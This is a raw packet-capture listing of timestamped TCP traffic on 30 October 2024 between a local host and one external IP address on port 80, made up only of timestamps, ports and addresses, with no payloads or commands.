Oct 30, 2024 04:35:21.795356989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.795371056 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.795383930 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.795408010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.868762016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.868781090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.868798971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.868834019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.868844986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.868864059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.868891954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.868932962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.869488001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.869501114 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.869518042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.869528055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.869563103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.869708061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.869745970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.869749069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.869760990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.869781971 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.869801044 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.913938999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.913953066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.913964987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.914060116 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.914083004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.914118052 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.914271116 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.914283037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.914293051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.914304972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.914314032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.914347887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.955019951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.955034971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.955123901 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.955255985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.955266953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.955305099 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.988209963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.988221884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.988234043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.988245010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.988255024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.988265991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.988337040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.988348961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.988818884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.988830090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.988841057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.988862991 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.988903999 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.989078045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.989109993 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.989262104 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.989274025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:21.989291906 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:21.989316940 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.031956911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.031970024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.031980991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.032037020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.032047987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.032058954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.032062054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.032107115 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.032114983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.032125950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.032146931 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.032146931 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.032176018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.073760986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.073774099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.073785067 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.073847055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.073884010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.106235981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106265068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106276035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106312037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106323957 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106349945 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.106349945 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.106405973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.106571913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106583118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106614113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.106739044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106759071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106780052 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.106801033 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.106914997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106945992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106954098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.106959105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.106981039 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.107002974 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.150484085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.150501013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.150517941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.150527954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.150612116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.150644064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.150671959 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.150680065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.150688887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.150700092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.150729895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.150743008 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.151031017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.151058912 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.151070118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.151072979 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.151112080 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.192430019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.192444086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.192454100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.192481041 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.192503929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.224877119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.224895000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.224906921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.224920988 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.224931955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.224939108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.224946022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.224950075 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.224966049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.224981070 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.225145102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.225187063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.225193977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.225199938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.225266933 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.225557089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.225569963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.225581884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.225591898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.225616932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.225627899 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.225656986 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.269071102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.269088984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.269155025 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.269176960 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.269197941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.269242048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.269304037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.269320965 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.269332886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.269349098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.269357920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.269371033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.269373894 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.269397020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.269427061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.311070919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.311086893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.311098099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.311177969 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.343506098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.343518019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.343542099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.343553066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.343564034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.343628883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.343738079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.343818903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.343830109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.343897104 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.344048977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.344059944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.344069958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.344134092 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.344187021 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.344362020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.344372988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.344410896 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.344558001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.344571114 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.344582081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.344599962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.344619989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.388462067 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.388473988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.388484001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.388534069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.388545036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.388555050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.388596058 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.388704062 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.388863087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.388921022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.388938904 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.389025927 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.429668903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.429682016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.429692984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.429749012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.429763079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.462518930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.462534904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.462558985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.462572098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.462582111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.462594032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.462605000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.462620020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.462631941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.462800026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.462846041 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.462847948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.462860107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.462889910 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.462902069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.463152885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.463212967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.463222980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.463315964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.463426113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.463437080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.463484049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.503163099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.503175020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.503235102 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.507262945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.507292986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.507304907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.507317066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.507338047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.507345915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.507375002 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.507411003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.507424116 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.507452011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.507466078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.507647038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.507690907 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.507699966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.507735014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.548371077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.548387051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.548399925 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.548413038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.548515081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.548582077 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.580904007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.580971956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.580984116 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.581021070 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.581060886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.581104994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.581177950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.581187963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.581199884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.581223965 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.581237078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.581254005 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.581291914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.581304073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.581304073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.581346989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.582019091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.582068920 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.582087040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.582130909 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.582215071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.582227945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.582237005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.582262993 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.582278967 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.625768900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.625797033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.625808954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.625834942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.625933886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.625993013 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.626028061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.626065016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.626075983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.626092911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.626115084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.626144886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.626233101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.626573086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.626620054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.626653910 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.626660109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.626741886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.666894913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.666946888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.666955948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.667021990 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.667049885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.667073011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.667160034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.699615002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.699628115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.699661016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.699686050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.699697971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.699721098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.699803114 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.699815989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.699827909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.699848890 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.699904919 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.700572014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.700602055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.700613976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.700649977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.700741053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.700921059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.700933933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.700943947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.701001883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.744384050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.744405031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.744415045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.744465113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.744519949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.744532108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.744551897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.744591951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.744605064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.744616985 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.744683027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.745229006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.745251894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.745263100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.745305061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.745410919 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.745547056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.745575905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.745587111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:22.745623112 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.745707989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:22.785531044 CET	80	49983	185.215.113.16	192.168.2.7
